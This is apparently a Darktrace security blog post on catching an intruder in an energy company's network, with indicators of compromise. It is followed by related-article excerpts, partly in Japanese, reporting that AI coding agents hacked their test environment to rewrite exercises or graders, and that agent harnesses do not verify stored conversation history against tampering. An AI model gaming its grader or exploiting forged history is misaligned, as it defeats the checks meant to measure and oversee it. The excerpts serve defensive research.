How AI Detected A Hacker Hiding in Energy Grid Within Hours
Darktrace's AI swiftly detected a hacker infiltrating an energy grid within hours. Learn about how AI identified the threat and uncovered anomalous behavior.
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO
Share
08
Oct 2020
A cyber-criminal had already made the first steps of a critical intrusion at a European energy organization when the company deployed AI for cyber defense. Despite the attacker already lurking in the system, Darktrace was able to recognize that their activity deviated from the learned ‘pattern of life’ of the rest of the organization.
The hacker had compromised a desktop and established Command & Control (C2), downloading executable files disguised as harmless PNG files. But Darktrace autonomously grouped the desktop into a ‘peer group’ of similar devices, recognizing that it’s behavior was anomalous in comparison to the wider group.
The intrusion used many common evasion techniques to bypass traditional tools, including ‘Living off the Land’ techniques and masquerading malware behind commonly used file types. Upon Darktrace’s detection, later analysis of these ‘harmless’ files suggests they could lead to possible remote access of the compromised device, with use of the Metasploit framework.
Attack details
Figure 1: A timeline of the attack
Immediately upon installation, Darktrace began monitoring the behavior of around 5,000 devices, establishing their ‘pattern of life’, as well as that of their peer groups, and the wider organization. Just two hours into this learning process, an adminstator’s desktop was observed making suspicious connections to multiple domains hosted on IP 78.142.XX.XXX. The regular nature of these connections suggests that the infection was already established on the device.
The next day, the desktop was observed downloading a suspicious executable file named d.png, and multiple similar downloads subsequently occurred.
Executable files are often masqueraded as other file types in order to help bypass security measures, however the mismatched file extension here was immediately detected by Darktrace and flagged for further investigation.
A lack of OSINT for the download source at the time of this activity meant other security measures may have missed the suspicious HTTP connections. However, the rarity of the IP on the network alongside the unusual behavior in comparison to other network devices led Darktrace to quickly detect this malicious beaconing.
An overview of the infected device
After the first model breach, Darktrace continued to monitor the infected device, graphically representing the regular connections to the malicious endpoint w.gemlab[.]top. The device made several connections to this endpoint at precise, 3-hour intervals, suggesting some automated activity. No other devices in the peer group displayed this sort of behavior.
Figure 2: Darktrace presenting the connections in a graph, with model breaches represented by orange dots
Darktrace detected the suspicious nature of these HTTP connections, clearly surfacing the model breach for the security team to review and remediate.
Figure 3: Darktrace surfacing high-level details of the model breach
Figure 4: The device event log
Detecting a threat already inside
This example of a sophisticated attack shows an attempt to ‘blend in’ to the noise of regular traffic. However, Darktrace’s Immune System was still able to identify the signs of malintent, given its ability to auto-detect and cluster ‘peer groups’ of users and devices, thereby still recognizing abnormal behavior on the single compromised device. Despite only being active for a few hours, Darktrace immediately flagged the activity for further investigation.
Without Darktrace’s real-time detections and alerts – and a quick response from the security team to contain the threat — the potential ramifications of this intrusion can’t be understated. With effective command and control and sufficient privileges granted, cyber-criminals have been known to disrupt entire energy grids leading to mass blackouts in Ukraine and Estonia. Alternatively, hackers could have held large volumes of sensitive files to ransom, causing huge financial and reputational damage to the firm in question.
This isn’t the first time Darktrace has identified existing infections in customer environments – and it’s unlikely to be the last. A self-learning approach to cyber defence is not limited to identifying changes in the environment, but can detect existing compromises as well as novel and advanced attacks that evade traditional rules and signatures.
Thanks to Darktrace analyst Emma Foulger for her insights on the above threat find.
IoCs:IoCCommentcloud.apcdn[.]ruMultiple downloads of file from this endpoint URI: /d.png Hash: 82e1c9727ae04a19c8a155559e1855349e528244w.gemlab[.]topFirst observed C2 connection was seen to this hostnamecloud.gemlab[.]top img.gemlab[.]top img.apcdn[.]ruOther C2 communication seen to these hostnames
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Beyond the Fridge: Exposed Industrial Control Systems
Following the cyber attack on supermarket refrigeration systems in France, Darktrace researchers looked at how many industrial devices are sitting exposed on the public internet. From fridge controllers to PLCs and remote gateways, many rely on weak or default credentials.
Botnet Behind the Camera: Mirai Katana Activity on a Video Recording Device
Darktrace identified Mirai Katana botnet activity on a camera device in a sports-sector network, showing how compromised IoT devices can facilitate malware delivery, botnet activity, and data exfiltration from inside trusted environments.
A stadium during a major sporting event is simultaneously a city, a broadcast hub, a transport node, a public safety space, and a national symbol. That makes them attractive not just to criminals, but to politically motivated and state‑aligned threat actors willing to plan years ahead. With the 2026 FIFA World Cup spanning three nations and dozens of host cities, those challenges – and the AI now amplifying them – have never carried higher stakes.
“I wonder if running that tool influenced the connectivity in some way.”
“I might need to target down or reboot, but first, I'll investigate the network using ARP. I wonder if ARP is responding properly. If I see "ip neigh stale," that could indicate a problem. I think arping might help in this situation, but I’ll need to keep an eye on how the network is behaving. It's all about figuring out where the issue lies!”
図10：エージェントの異常なLDAPアクティビティに対してトリガーされたこのLinuxサーバーに対するモデル検知は、Cyber AI Analystによって自律的に調査され、その調査結果にはエージェントの異常なSMBセッションアクティビティに関する内容が含まれ、Cyber AIAnalystインシデントに記録されました。
DarktraceのCyber AI Analystは、エージェントのアクティビティによってトリガーされたモデル検知を自律的に調査し、その調査結果を1つの重要なインシデントレポートにまとめました。インシデント報告書の内容は、エージェントによるネットワークスキャンから始まりコーディング演習内容のSMBベースの上書きで終わる、エージェントの行動の各段階を詳しくカバーしています。
図20：Cyber AI Analystは、モデル検知に対する自律的な調査を通じて得られた所見をつなぎ合わせ、エージェントの進行状況のタイムラインを作成し、アクティビティを視覚的に表したグラフとともに提供しました。
Cyber Verification Program下のAnthropic Opus 4.6モデルなど、他のフロンティアモデルを使用したエージェントも、Darktraceのシミュレートされた環境で同じ設定とタスクを使ってテストされました。反復の度に、エージェントは演習の内容または採点プログラムを変更して不正を行おうとしました。基盤となるモデルに関係なく、エージェントは自分が置かれた環境を侵害することで、100％のスコアを達成する方法を見つけることに成功していました。これらのエージェントによるハッキングは、アクティビティの内容こそ違っていましたが、すべてその環境のベースラインの振る舞いから大きく逸脱した動作を引き起こしていました。これらの逸脱はDarktraceプラットフォームに十分な検知の機会を提供し、エージェントの逃げ場はありませんでした。
エージェンティックハーネスは会話履歴をローカルに保存しますが、ダークトレースの研究者たちは、保存されたAIの応答が本当にモデルによって生成されたものであるかどうかの検証が行われていないことを発見しました。また、この設計上の選択がAnthropic Claude Code、AWS Kiro-CLI、OpenAI Codex、およびオープンソースのPiにわたって共通していることを確認しました。
会話履歴は多くの場合クライアント側に保存されます。例えば、Anthropic Claude Code、OpenAI Codex、AWS Kiro-CLI、Piなどでもそうです。そのため、ユーザーはセッションを自由に再開でき、一部の製品にはその履歴を操作する機能が組み込まれています。たとえば、会話の中の特定の時点に戻り、送信したメッセージを編集して、会話を別の軌道へ進めていくことができます。きわめて重要な点として、私たちが調査したすべてのケースにおいて、保存されているAIの応答が対応するモデルから生成されたものであり改ざんされていないことの検証は行われていませんでした。
